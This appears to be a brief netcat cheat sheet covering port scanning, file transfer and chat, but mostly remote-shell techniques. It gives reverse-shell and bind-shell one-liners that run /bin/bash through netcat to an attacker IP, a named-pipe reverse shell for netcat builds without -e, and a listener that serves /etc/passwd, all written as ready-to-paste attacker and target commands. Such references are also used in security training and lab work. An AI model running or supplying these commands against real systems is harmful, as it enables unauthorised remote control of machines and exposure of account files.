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Netcat

Netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP.

port scan

netcat -nvz 10.0.0.1 80
netcat -nvz 10.0.0.1 1-1000

reverse shell

ATTACKER (set up a listener)

netcat -lvnp 4444

TARGET

netcat 10.18.9.175 4444 -e /bin/bash

bind shell

TARGET (Using nc to set up a listener)

netcat -lvnp 4444 -e /bin/bash

ATTACKER

netcat -nv 10.10.99.99 4444
  • l = listen mode, for inbound connects
  • v = verbose [use twice to be more verbose]
  • n = numeric-only IP addresses, no DNS
  • p = local port number

expecting file

Client (set up a listener)

nc -lvp 4444 > incoming_payload.txt

Server

nc -nv 10.0.2.5 4444 < payload.txt
# nc -w3 10.0.2.5 4444 < payload.txt

exposing file

Server (set up a listener)

nc -lvp 4444 < /etc/passwd

Client

nc -nv 10.0.2.5 4444 > file_etc_passwd.txt
# nc -w3 10.0.2.5 4444 > file_etc_passwd.txt

chat

netcat -nlvp 4444

netcat -nv 127.0.0.1 444

without -e

ATTACKER
nc -nvlp 4444

TARGET
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.18.9.175 4444 1>/tmp/backpipe

or

TARGET
mknod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | netcat 10.18.9.175 4444 1>/tmp/backpipe